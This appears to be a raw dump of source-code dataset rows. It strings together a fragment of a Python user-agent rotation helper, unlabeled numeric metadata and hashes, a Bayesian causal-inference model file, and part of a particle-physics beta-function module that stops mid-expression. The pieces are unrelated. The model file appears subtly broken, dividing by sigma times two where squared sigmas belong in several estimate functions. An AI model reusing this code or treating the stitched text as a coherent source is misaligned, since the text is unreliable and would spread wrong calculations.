Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36' ] mobile_user_agents = [ 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) Safari/9537.53' ] def random_user_agent(only_desktop=False, only_mobile=True): if only_desktop: return random.choice(desktop_user_agents) if only_mobile: return random.choice(mobile_user_agents) return random.choice(user_agents)
90.354545
150
0.698561
1,945
9,939
3.520308
0.070951
0.025705
0.110413
0.098145
0.897765
0.886374
0.875128
0.864758
0.843289
0.813203
0
0.217616
0.143274
9,939
109
151
91.183486
0.586494
0.022336
0
0
0
0.875
0.894666
0.004325
0
0
0
0
0
1
0.010417
false
0
0.010417
0
0.052083
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6ec9acd289fe6cf4aca7a958fbe387ffab2d5ec3
3,255
py
Python
model.py
erensezener/bayes_is_the_way
f150ac1b5641b04da7e073c3b35f3c2d68babed6
[ "MIT" ]
null
null
null
model.py
erensezener/bayes_is_the_way
f150ac1b5641b04da7e073c3b35f3c2d68babed6
[ "MIT" ]
null
null
null
model.py
erensezener/bayes_is_the_way
f150ac1b5641b04da7e073c3b35f3c2d68babed6
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt # params = lambda: None # params.p_common = 0.8 # params.sigma_v = 0.6 # params.sigma_a = 3.1 # params.sigma_p = 15 # params.mu_p = 0 def prior_C_equals_1(x_v, x_a, params): sigma_squared_sum = (params.sigma_v ** 2 * params.sigma_a ** 2 + params.sigma_v ** 2 * params.sigma_p ** 2 + params.sigma_a ** 2 * params.sigma_p ** 2) prefactor = 1. / (2 * np.pi * np.sqrt(sigma_squared_sum)) exponent = -1. / 2 * (np.power(x_v - x_a, 2) * params.sigma_p ** 2 + np.power(x_v - params.mu_p, 2) * params.sigma_a ** 2 + np.power(x_a - params.mu_p, 2) * params.sigma_v ** 2) \ / sigma_squared_sum return prefactor * np.exp(exponent) def prior_C_equals_2(x_v, x_a, params): prefactor = 1. / ( 2 * np.pi * np.sqrt((params.sigma_v ** 2 + params.sigma_p ** 2) * (params.sigma_a ** 2 + params.sigma_p ** 2))) exponent = -1. / 2 * ((np.power(x_v - params.mu_p, 2) / (params.sigma_v ** 2 + params.sigma_p ** 2) + np.power(x_a - params.mu_p, 2) / (params.sigma_a ** 2 + params.sigma_p ** 2))) return prefactor * np.exp(exponent) def posterior_C_equals_1(x_v, x_a, params): prior_C_equals_1_val = prior_C_equals_1(x_v, x_a, params) return prior_C_equals_1_val * params.p_common / \ (prior_C_equals_1_val * params.p_common + prior_C_equals_2(x_v, x_a, params) * (1 - params.p_common)) def estimated_s_v_when_C_equals_2(x_v, params): return (x_v / params.sigma_v * 2 + params.mu_p / params.sigma_p ** 2) / \ (1. / params.sigma_v ** 2 + 1. / params.sigma_p ** 2) def estimated_s_a_when_C_equals_2(x_a, params): return (x_a / params.sigma_a * 2 + params.mu_p / params.sigma_p ** 2) / \ (1. / params.sigma_a ** 2 + 1. / params.sigma_p ** 2) def estimated_s_when_C_equals_1(x_a, x_v, params): return (x_a / params.sigma_a * 2 + x_v / params.sigma_v * 2 + params.mu_p / params.sigma_p ** 2) / \ (1. / params.sigma_a ** 2 + 1. / params.sigma_v ** 2 + 1. / params.sigma_p ** 2) def estimated_s_v(x_v, x_a, params): return posterior_C_equals_1(x_v, x_a, params) * estimated_s_when_C_equals_1(x_a, x_v, params) + \ (1 - posterior_C_equals_1(x_v, x_a, params)) * estimated_s_v_when_C_equals_2(x_v, params) def estimated_s_a(x_v, x_a, params): return posterior_C_equals_1(x_v, x_a, params) * estimated_s_when_C_equals_1(x_a, x_v, params) + \ (1 - posterior_C_equals_1(x_v, x_a, params)) * estimated_s_a_when_C_equals_2(x_a, params) def estimated_s_efficient(x_v, x_a, params): posterior_C_equals_1_val = posterior_C_equals_1(x_v, x_a, params) estimated_s_when_C_equals_1_val = estimated_s_when_C_equals_1(x_a, x_v, params) nominator = posterior_C_equals_1_val * estimated_s_when_C_equals_1_val estimated_s_a_val = nominator + \ (1 - posterior_C_equals_1_val) * estimated_s_a_when_C_equals_2(x_a, params) estimated_s_v_val = nominator + \ (1 - posterior_C_equals_1_val) * estimated_s_v_when_C_equals_2(x_v, params) return estimated_s_v_val, estimated_s_a_val
42.272727
119
0.639017
577
3,255
3.17851
0.076257
0.209924
0.091603
0.030534
0.864776
0.830425
0.780262
0.729553
0.698473
0.622137
0
0.037751
0.235023
3,255
76
120
42.828947
0.698795
0.037174
0
0.085106
0
0
0
0
0
0
0
0
0
1
0.191489
false
0
0.042553
0.106383
0.425532
0
0
0
0
null
1
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
7
42d783b453d3737611d51253299870336ff688b1
79,783
py
Python
wilson/run/wet/beta.py
jackypheno/wilson
81c905c7c1e4cf26b5d5a1a2b7b316f1f4f9d285
[ "MIT" ]
null
null
null
wilson/run/wet/beta.py
jackypheno/wilson
81c905c7c1e4cf26b5d5a1a2b7b316f1f4f9d285
[ "MIT" ]
null
null
null
wilson/run/wet/beta.py
jackypheno/wilson
81c905c7c1e4cf26b5d5a1a2b7b316f1f4f9d285
[ "MIT" ]
null
null
null
import numpy as np from numpy import pi from wilson.run.smeft.beta import my_einsum Nc = 3 # Eq. (3.42) CA = Nc CF = (Nc**2-1)/(2*Nc) C1 = (Nc**2-1)/(4*Nc**2) Cd = (Nc**2-4)/Nc qu = 2/3 qd = -1/3 qe = -1 def beta(C, Nu=2, Nd=3): Ne=3 b0g = (11*Nc - 2*(Nd + Nu))/3. b0e = (-4*(Nc*Nd*qd**2 + Ne*qe**2 + Nc*Nu*qu**2))/3. e = C["e"] g = C["gs"] # set undefined Wilson coefficients to zero zeros_4F = np.zeros((3,3,3,3)) zeros_2F = np.zeros((3,3)) C['SnunuLL'] = zeros_4F C['SnueLL'] = zeros_4F C['SnueLR'] = zeros_4F C['SnuuLL'] = zeros_4F C['SnuuLR'] = zeros_4F C['SnudLL'] = zeros_4F C['SnudLR'] = zeros_4F C['nugamma'] = zeros_2F # define Kronecker delta C['delta'] = np.eye(3) # Eq. (3.41) zetae = (8/3)*(2*my_einsum("wv,wv",C["nugamma"],C["nugamma"].conj())+my_einsum("wv,wv",C["egamma"],C["egamma"].conj())+Nc*my_einsum("wv,wv",C["ugamma"],C["ugamma"].conj())+Nc*my_einsum("wv,wv",C["dgamma"],C["dgamma"].conj())) zetag = (4/3)*(my_einsum("wv,wv",C["uG"],C["uG"].conj())+my_einsum("wv,wv",C["dG"],C["dG"].conj())) Beta = {} # Dimension 3: Masses Beta["Mnu"] = zeros_2F#24*my_einsum("vwrs,wv",C["SnunuLL"],C["Mnu"].conj().T @ C["Mnu"] @ C["Mnu"].conj().T) + 16*my_einsum("wrvs,wv",C["VnunuLL"],C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) + 8*my_einsum("rsvw,wv",C["SnueLL"],C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T) + 8*my_einsum("rsvw,wv",C["SnueLR"],C["Me"] @ C["Me"].conj().T @ C["Me"]) + 8*Nc*my_einsum("rsvw,wv",C["SnuuLL"],C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) + 8*Nc*my_einsum("rsvw,wv",C["SnuuLR"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) + 8*Nc*my_einsum("rsvw,wv",C["SnudLL"],C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) + 8*Nc*my_einsum("rsvw,wv",C["SnudLR"],C["Md"] @ C["Md"].conj().T @ C["Md"]) - 48*my_einsum("rw,uv,wv,us",C["nugamma"],C["nugamma"].conj(),C["Mnu"].conj().T @ C["Mnu"],C["Mnu"]) + 16*my_einsum("rw,vw,vs",C["nugamma"],C["nugamma"].conj(),C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) - 48*my_einsum("wu,vs,wv,ru",C["nugamma"].conj(),C["nugamma"],C["Mnu"] @ C["Mnu"].conj().T,C["Mnu"]) + 16*my_einsum("wv,ws,rv",C["nugamma"].conj(),C["nugamma"],C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) - 96*my_einsum("rv,ws,vw",C["nugamma"],C["nugamma"],C["Mnu"].conj().T @ C["Mnu"] @ C["Mnu"].conj().T) Beta["Me"] = - 6*qe**2*e**2*my_einsum("rs",C["Me"]) #+ 12*qe*e*my_einsum("vr,vs",C["egamma"].conj(),C["Me"].conj().T @ C["Me"]) + 12*qe*e*my_einsum("sv,rv",C["egamma"].conj(),C["Me"] @ C["Me"].conj().T) + 4*my_einsum("vwrs,wv",C["SnueLL"],C["Mnu"].conj().T @ C["Mnu"] @ C["Mnu"].conj().T) + 4*my_einsum("wvsr,wv",C["SnueLR"].conj(),C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) + (8*my_einsum("srwv,wv",C["SeeRR"].conj(),C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T) - 4*my_einsum("wrsv,wv",C["SeeRR"].conj(),C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T)) - 8*my_einsum("vsrw,wv",C["VeeLR"],C["Me"] @ C["Me"].conj().T @ C["Me"]) + 4*Nc*my_einsum("srwv,wv",C["SeuRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) + 4*Nc*my_einsum("srwv,wv",C["SeuRL"].conj(),C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) + 4*Nc*my_einsum("srwv,wv",C["SedRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) + 4*Nc*my_einsum("srwv,wv",C["SedRL"].conj(),C["Md"] @ C["Md"].conj().T @ C["Md"]) - 12*my_einsum("wr,vu,wv,us",C["egamma"].conj(),C["egamma"],C["Me"].conj().T @ C["Me"],C["Me"]) + 4*my_einsum("wr,wv,vs",C["egamma"].conj(),C["egamma"],C["Me"] @ C["Me"].conj().T @ C["Me"]) - 12*my_einsum("uw,sv,wv,ru",C["egamma"],C["egamma"].conj(),C["Me"] @ C["Me"].conj().T,C["Me"]) + 4*my_einsum("vw,sw,rv",C["egamma"],C["egamma"].conj(),C["Me"] @ C["Me"].conj().T @ C["Me"]) - 24*my_einsum("vr,sw,vw",C["egamma"].conj(),C["egamma"].conj(),C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T) Beta["Mu"] = - 6*(CF*g**2 + qu**2*e**2)*my_einsum("rs",C["Mu"]) #+ 12*(CF*g*my_einsum("vr,vs",C["uG"].conj(),C["Mu"].conj().T @ C["Mu"]) + qu*e*my_einsum("vr,vs",C["ugamma"].conj(),C["Mu"].conj().T @ C["Mu"])) + 12*(CF*g*my_einsum("sv,rv",C["uG"].conj(),C["Mu"] @ C["Mu"].conj().T) + qu*e*my_einsum("sv,rv",C["ugamma"].conj(),C["Mu"] @ C["Mu"].conj().T)) + 4*my_einsum("vwrs,wv",C["SnuuLL"],C["Mnu"].conj().T @ C["Mnu"] @ C["Mnu"].conj().T) + 4*my_einsum("wvsr,wv",C["SnuuLR"].conj(),C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) + 4*my_einsum("wvsr,wv",C["SeuRR"].conj(),C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T) + 4*my_einsum("vwrs,wv",C["SeuRL"],C["Me"] @ C["Me"].conj().T @ C["Me"]) + (8*Nc*my_einsum("srwv,wv",C["S1uuRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) - 4*my_einsum("svwr,wv",C["S1uuRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) - 4*CF*my_einsum("svwr,wv",C["S8uuRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T)) - 8*(my_einsum("vsrw,wv",C["V1uuLR"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) + CF*my_einsum("vsrw,wv",C["V8uuLR"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"])) + (4*Nc*my_einsum("srwv,wv",C["S1udRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) - 2*my_einsum("svwr,wv",C["S1udduRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) - 2*CF*my_einsum("svwr,wv",C["S8udduRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T)) - 8*(my_einsum("svwr,wv",C["V1udduLR"].conj(),C["Md"] @ C["Md"].conj().T @ C["Md"]) + CF*my_einsum("svwr,wv",C["V8udduLR"].conj(),C["Md"] @ C["Md"].conj().T @ C["Md"])) - 12*my_einsum("wr,vu,wv,us",C["ugamma"].conj(),C["ugamma"],C["Mu"].conj().T @ C["Mu"],C["Mu"]) + 4*my_einsum("wr,wv,vs",C["ugamma"].conj(),C["ugamma"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) - 12*my_einsum("uw,sv,wv,ru",C["ugamma"],C["ugamma"].conj(),C["Mu"] @ C["Mu"].conj().T,C["Mu"]) + 4*my_einsum("vw,sw,rv",C["ugamma"],C["ugamma"].conj(),C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) - 12*CF*my_einsum("wr,vu,wv,us",C["uG"].conj(),C["uG"],C["Mu"].conj().T @ C["Mu"],C["Mu"]) + 4*CF*my_einsum("wr,wv,vs",C["uG"].conj(),C["uG"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) - 12*CF*my_einsum("uw,sv,wv,ru",C["uG"],C["uG"].conj(),C["Mu"] @ C["Mu"].conj().T,C["Mu"]) + 4*CF*my_einsum("vw,sw,rv",C["uG"],C["uG"].conj(),C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) - 24*my_einsum("vr,sw,vw",C["ugamma"].conj(),C["ugamma"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) - 24*CF*my_einsum("vr,sw,vw",C["uG"].conj(),C["uG"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) Beta["Md"] = - 6*(CF*g**2 + qd**2*e**2)*my_einsum("rs",C["Md"]) #+ 12*(CF*g*my_einsum("vr,vs",C["dG"].conj(),C["Md"].conj().T @ C["Md"]) + qd*e*my_einsum("vr,vs",C["dgamma"].conj(),C["Md"].conj().T @ C["Md"])) + 12*(CF*g*my_einsum("sv,rv",C["dG"].conj(),C["Md"] @ C["Md"].conj().T) + qd*e*my_einsum("sv,rv",C["dgamma"].conj(),C["Md"] @ C["Md"].conj().T)) + 4*my_einsum("vwrs,wv",C["SnudLL"],C["Mnu"].conj().T @ C["Mnu"] @ C["Mnu"].conj().T) + 4*my_einsum("wvsr,wv",C["SnudLR"].conj(),C["Mnu"] @ C["Mnu"].conj().T @ C["Mnu"]) + 4*my_einsum("wvsr,wv",C["SedRR"].conj(),C["Me"].conj().T @ C["Me"] @ C["Me"].conj().T) + 4*my_einsum("vwrs,wv",C["SedRL"],C["Me"] @ C["Me"].conj().T @ C["Me"]) + (4*Nc*my_einsum("wvsr,wv",C["S1udRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) - 2*my_einsum("wrsv,wv",C["S1udduRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T) - 2*CF*my_einsum("wrsv,wv",C["S8udduRR"].conj(),C["Mu"].conj().T @ C["Mu"] @ C["Mu"].conj().T)) - 8*(my_einsum("vsrw,wv",C["V1udduLR"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"]) + CF*my_einsum("vsrw,wv",C["V8udduLR"],C["Mu"] @ C["Mu"].conj().T @ C["Mu"])) + (8*Nc*my_einsum("wvsr,wv",C["S1ddRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) - 4*my_einsum("wrsv,wv",C["S1ddRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) - 4*CF*my_einsum("wrsv,wv",C["S8ddRR"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T)) - 8*(my_einsum("vsrw,wv",C["V1ddLR"],C["Md"] @ C["Md"].conj().T @ C["Md"]) + CF*my_einsum("vsrw,wv",C["V8ddLR"],C["Md"] @ C["Md"].conj().T @ C["Md"])) - 12*my_einsum("wr,vu,wv,us",C["dgamma"].conj(),C["dgamma"],C["Md"].conj().T @ C["Md"],C["Md"]) + 4*my_einsum("wr,wv,vs",C["dgamma"].conj(),C["dgamma"],C["Md"] @ C["Md"].conj().T @ C["Md"]) - 12*my_einsum("uw,sv,wv,ru",C["dgamma"],C["dgamma"].conj(),C["Md"] @ C["Md"].conj().T,C["Md"]) + 4*my_einsum("vw,sw,rv",C["dgamma"],C["dgamma"].conj(),C["Md"] @ C["Md"].conj().T @ C["Md"]) - 12*CF*my_einsum("wr,vu,wv,us",C["dG"].conj(),C["dG"],C["Md"].conj().T @ C["Md"],C["Md"]) + 4*CF*my_einsum("wr,wv,vs",C["dG"].conj(),C["dG"],C["Md"] @ C["Md"].conj().T @ C["Md"]) - 12*CF*my_einsum("uw,sv,wv,ru",C["dG"],C["dG"].conj(),C["Md"] @ C["Md"].conj().T,C["Md"]) + 4*CF*my_einsum("vw,sw,rv",C["dG"],C["dG"].conj(),C["Md"] @ C["Md"].conj().T @ C["Md"]) - 24*my_einsum("vr,sw,vw",C["dgamma"].conj(),C["dgamma"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) - 24*CF*my_einsum("vr,sw,vw",C["dG"].conj(),C["dG"].conj(),C["Md"].conj().T @ C["Md"] @ C["Md"].conj().T) # Dimension 4: Gauge Couplings Beta["e"] = - b0e*e**3 - 8*e**2*qe*(my_einsum("rs,sr",C["egamma"],C["Me"]) + my_einsum("rs,rs",C["Me"].conj().T,C["egamma"].conj())) - 8*e**2*Nc*qu*(my_einsum("rs,sr",C["ugamma"],C["Mu"]) + my_einsum("rs,rs",C["Mu"].conj().T,C["ugamma"].conj())) - 8*e**2*Nc*qd*(my_einsum("rs,sr",C["dgamma"],C["Md"]) + my_einsum("rs,rs",C["Md"].conj().T,C["dgamma"].conj())) + 8*e*(2*my_einsum("ts,sr,rp,pt",C["Mnu"].conj().T,C["nugamma"],C["Mnu"].conj().T,C["nugamma"]) + 2*my_einsum("pr,sr,st,pt",C["Mnu"],C["nugamma"].conj(),C["Mnu"],C["nugamma"].conj()) + my_einsum("ts,sr,rp,pt",C["Me"],C["egamma"],C["Me"],C["egamma"]) + my_einsum("pr,sr,st,pt",C["Me"].conj().T,C["egamma"].conj(),C["Me"].conj().T,C["egamma"].conj()) + Nc*my_einsum("ts,sr,rp,pt",C["Mu"],C["ugamma"],C["Mu"],C["ugamma"]) + Nc*my_einsum("pr,sr,st,pt",C["Mu"].conj().T,C["ugamma"].conj(),C["Mu"].conj().T,C["ugamma"].conj()) + Nc*my_einsum("ts,sr,rp,pt",C["Md"],C["dgamma"],C["Md"],C["dgamma"]) + Nc*my_einsum("pr,sr,st,pt",C["Md"].conj().T,C["dgamma"].conj(),C["Md"].conj().T,C["dgamma"].conj())) Beta["gs"] = - b0g*g**3 - 4*g**2*(my_einsum("rs,sr",C["uG"],C["Mu"]) + my_einsum("rs,rs",C["Mu"].conj().T,C["uG"].conj())) - 4*g**2*(my_einsum("rs,sr",C["dG"],C["Md"]) + my_einsum("rs,rs",C["Md"].conj().T,C["dG"].conj())) + 4*g*(my_einsum("ts,sr,rp,pt",C["Mu"],C["uG"],C["Mu"],C["uG"]) + my_einsum("pr,sr,st,pt",C["Mu"].conj().T,C["uG"].conj(),C["Mu"].conj().T,C["uG"].conj()) + my_einsum("ts,sr,rp,pt",C["Md"],C["dG"],C["Md"],C["dG"]) + my_einsum("pr,sr,st,pt",C["Md"].conj().T,C["dG"].conj(),C["Md"].conj().T,C["dG"].conj())) #Beta["thetaQCD"] = ((64*pi**2)/(g))*(1j*my_einsum("rs,sr",C["uG"],C["Mu"]) - 1j*my_einsum("rs,rs",C["Mu"].conj().T,C["uG"].conj())) + ((64*pi**2)/(g))*(1j*my_einsum("rs,sr",C["dG"],C["Md"]) - 1j*my_einsum("rs,rs",C["Md"].conj().T,C["dG"].conj())) + ((32*pi**2)/(g**2))*2j*( - my_einsum("ts,sr,rp,pt",C["Mu"],C["uG"],C["Mu"],C["uG"]) + my_einsum("ts,sr,rp,pt",C["Mu"].conj(),C["uG"].conj(),C["Mu"].conj(),C["uG"].conj()) - my_einsum("ts,sr,rp,pt",C["Md"],C["dG"],C["Md"],C["dG"]) + my_einsum("ts,sr,rp,pt",C["Md"].conj(),C["dG"].conj(),C["Md"].conj(),C["dG"].conj())) #Beta["thetaQED"] = ((128*pi**2*qe)/(e))*(1j*my_einsum("rs,sr",C["egamma"],C["Me"]) - 1j*my_einsum("rs,rs",C["Me"].conj().T,C["egamma"].conj())) + ((128*Nc*pi**2*qu)/(e))*(1j*my_einsum("rs,sr",C["ugamma"],C["Mu"]) - 1j*my_einsum("rs,rs",C["Mu"].conj().T,C["ugamma"].conj())) + ((128*Nc*pi**2*qd)/(e))*(1j*my_einsum("rs,sr",C["dgamma"],C["Md"]) - 1j*my_einsum("rs,rs",C["Md"].conj().T,C["dgamma"].conj())) + ((32*pi**2)/(e**2))*4j*(2*my_einsum("ts,sr,rp,pt",C["Mnu"].conj().T,C["nugamma"],C["Mnu"].conj().T,C["nugamma"]) - 2*my_einsum("pr,sr,st,pt",C["Mnu"],C["nugamma"].conj(),C["Mnu"],C["nugamma"].conj()) - my_einsum("ts,sr,rp,pt",C["Me"],C["egamma"],C["Me"],C["egamma"]) + my_einsum("pr,sr,st,pt",C["Me"].conj().T,C["egamma"].conj(),C["Me"].conj().T,C["egamma"].conj()) - Nc*my_einsum("ts,sr,rp,pt",C["Mu"],C["ugamma"],C["Mu"],C["ugamma"]) + Nc*my_einsum("pr,sr,st,pt",C["Mu"].conj().T,C["ugamma"].conj(),C["Mu"].conj().T,C["ugamma"].conj()) - Nc*my_einsum("ts,sr,rp,pt",C["Md"],C["dgamma"],C["Md"],C["dgamma"]) + Nc*my_einsum("pr,sr,st,pt",C["Md"].conj().T,C["dgamma"].conj(),C["Md"].conj().T,C["dgamma"].conj())) # Dimension 5: Dipole Operators Beta["nugamma"] = - b0e*e**2*my_einsum("rs",C["nugamma"]) - 8*e*qe*(my_einsum("rs,vw,wv",C["nugamma"],C["egamma"],C["Me"]) + my_einsum("rs,vw,vw",C["nugamma"],C["Me"].conj().T,C["egamma"].conj())) - 8*e*Nc*qu*(my_einsum("rs,vw,wv",C["nugamma"],C["ugamma"],C["Mu"]) + my_einsum("rs,vw,vw",C["nugamma"],C["Mu"].conj().T,C["ugamma"].conj())) - 8*e*Nc*qd*(my_einsum("rs,vw,wv",C["nugamma"],C["dgamma"],C["Md"]) + my_einsum("rs,vw,vw",C["nugamma"],C["Md"].conj().T,C["dgamma"].conj())) Beta["egamma"] = (10*qe**2 - b0e)*e**2*my_einsum("rs",C["egamma"]) - 8*e*Nc*qd*my_einsum("wv,rsvw",C["Md"],C["TedRR"]) - 8*e*Nc*qu*my_einsum("wv,rsvw",C["Mu"],C["TeuRR"]) + 2*e*qe*my_einsum("wv,rwvs",C["Me"],C["SeeRR"]) - 12*e*qe*my_einsum("rw,wv,vs",C["egamma"],C["Me"],C["egamma"]) - 8*e*qe*(my_einsum("vw,rw,vs",C["egamma"].conj(),C["egamma"],C["Me"].conj().T) + my_einsum("vw,vs,rw",C["egamma"].conj(),C["egamma"],C["Me"].conj().T)) - 8*e*qe*(my_einsum("rs,vw,wv",C["egamma"],C["egamma"],C["Me"]) + my_einsum("rs,vw,vw",C["egamma"],C["Me"].conj().T,C["egamma"].conj())) - 8*e*Nc*qu*(my_einsum("rs,vw,wv",C["egamma"],C["ugamma"],C["Mu"]) + my_einsum("rs,vw,vw",C["egamma"],C["Mu"].conj().T,C["ugamma"].conj())) - 8*e*Nc*qd*(my_einsum("rs,vw,wv",C["egamma"],C["dgamma"],C["Md"]) + my_einsum("rs,vw,vw",C["egamma"],C["Md"].conj().T,C["dgamma"].conj())) Beta["ugamma"] = (2*CF*g**2 + (10*qu**2 - b0e)*e**2)*my_einsum("rs",C["ugamma"]) + 8*CF*e*g*qu*my_einsum("rs",C["uG"]) - 8*e*qe*my_einsum("wv,vwrs",C["Me"],C["TeuRR"]) + 2*e*qu*my_einsum("wv,rwvs",C["Mu"],C["S1uuRR"]) + 2*e*CF*qu*my_einsum("wv,rwvs",C["Mu"],C["S8uuRR"]) + e*qd*my_einsum("wv,rwvs",C["Md"],C["S1udduRR"]) + e*CF*qd*my_einsum("wv,rwvs",C["Md"],C["S8udduRR"]) - (4*g*CF*my_einsum("rw,vw,vs",C["ugamma"],C["uG"].conj(),C["Mu"].conj().T) + 8*e*qu*my_einsum("rw,vw,vs",C["ugamma"],C["ugamma"].conj(),C["Mu"].conj().T)) - (4*g*CF*my_einsum("rw,vw,vs",C["Mu"].conj().T,C["uG"].conj(),C["ugamma"]) + 8*e*qu*my_einsum("rw,vw,vs",C["Mu"].conj().T,C["ugamma"].conj(),C["ugamma"])) - 8*e*qe*(my_einsum("rs,vw,wv",C["ugamma"],C["egamma"],C["Me"]) + my_einsum("rs,vw,vw",C["ugamma"],C["Me"].conj().T,C["egamma"].conj())) - 8*e*Nc*qu*(my_einsum("rs,vw,wv",C["ugamma"],C["ugamma"],C["Mu"]) + my_einsum("rs,vw,vw",C["ugamma"],C["Mu"].conj().T,C["ugamma"].conj())) - 8*e*Nc*qd*(my_einsum("rs,vw,wv",C["ugamma"],C["dgamma"],C["Md"]) + my_einsum("rs,vw,vw",C["ugamma"],C["Md"].conj().T,C["dgamma"].conj())) - 12*e*qu*my_einsum("rw,wv,vs",C["ugamma"],C["Mu"],C["ugamma"]) - 4*e*qu*CF*my_einsum("wv,rw,vs",C["Mu"],C["uG"],C["uG"]) - 4*g*CF*(my_einsum("wv,rw,vs",C["Mu"],C["ugamma"],C["uG"]) + my_einsum("wv,rw,vs",C["Mu"],C["uG"],C["ugamma"])) - 4*CF*e*qu*my_einsum("wv,ws,rv",C["uG"].conj(),C["uG"],C["Mu"].conj().T) - 4*CF*e*qu*my_einsum("rw,vw,vs",C["uG"],C["uG"].conj(),C["Mu"].conj().T) Beta["dgamma"] = (2*CF*g**2 + (10*qd**2 - b0e)*e**2)*my_einsum("rs",C["dgamma"]) + 8*CF*e*g*qd*my_einsum("rs",C["dG"]) - 8*e*qe*my_einsum("wv,vwrs",C["Me"],C["TedRR"]) + 2*e*qd*my_einsum("wv,rwvs",C["Md"],C["S1ddRR"]) + 2*e*CF*qd*my_einsum("wv,rwvs",C["Md"],C["S8ddRR"]) + e*qu*my_einsum("wv,vsrw",C["Mu"],C["S1udduRR"]) + e*CF*qu*my_einsum("wv,vsrw",C["Mu"],C["S8udduRR"]) - (4*g*CF*my_einsum("rw,vw,vs",C["dgamma"],C["dG"].conj(),C["Md"].conj().T) + 8*e*qd*my_einsum("rw,vw,vs",C["dgamma"],C["dgamma"].conj(),C["Md"].conj().T)) - (4*g*CF*my_einsum("rw,vw,vs",C["Md"].conj().T,C["dG"].conj(),C["dgamma"]) + 8*e*qd*my_einsum("rw,vw,vs",C["Md"].conj().T,C["dgamma"].conj(),C["dgamma"])) - 8*e*qe*(my_einsum("rs,vw,wv",C["dgamma"],C["egamma"],C["Me"]) + my_einsum("rs,vw,vw",C["dgamma"],C["Me"].conj().T,C["egamma"].conj())) - 8*e*Nc*qu*(my_einsum("rs,vw,wv",C["dgamma"],C["ugamma"],C["Mu"]) + my_einsum("rs,vw,vw",C["dgamma"],C["Mu"].conj().T,C["ugamma"].conj())) - 8*e*Nc*qd*(my_einsum("rs,vw,wv",C["dgamma"],C["dgamma"],C["Md"]) + my_einsum("rs,vw,vw",C["dgamma"],C["Md"].conj().T,C["dgamma"].conj())) - 12*e*qd*my_einsum("rw,wv,vs",C["dgamma"],C["Md"],C["dgamma"]) - 4*e*qd*CF*my_einsum("wv,rw,vs",C["Md"],C["dG"],C["dG"]) - 4*g*CF*(my_einsum("wv,rw,vs",C["Md"],C["dgamma"],C["dG"]) + my_einsum("wv,rw,vs",C["Md"],C["dG"],C["dgamma"])) - 4*CF*e*qd*my_einsum("wv,ws,rv",C["dG"].conj(),C["dG"],C["Md"].conj().T) - 4*CF*e*qd*my_einsum("rw,vw,vs",C["dG"],C["dG"].conj(),C["Md"].conj().T) Beta["uG"] = ((10*CF - 4*CA - b0g)*g**2 + 2*e**2*qu**2)*my_einsum("rs",C["uG"]) + 8*e*g*qu*my_einsum("rs",C["ugamma"]) + 3*g**2*CA*my_einsum("rs",C["Mu"].conj().T)*(C["G"] + 1j*C["Gtilde"]) + 2*g*my_einsum("wv,rwvs",C["Mu"],C["S1uuRR"]) + 2*g*(CF - ((1)/(2))*CA)*my_einsum("wv,rwvs",C["Mu"],C["S8uuRR"]) + g*my_einsum("wv,rwvs",C["Md"],C["S1udduRR"]) + g*(CF - ((1)/(2))*CA)*my_einsum("wv,rwvs",C["Md"],C["S8udduRR"]) - ((8*CF - 2*CA)*g*my_einsum("rw,vw,vs",C["uG"],C["uG"].conj(),C["Mu"].conj().T) + 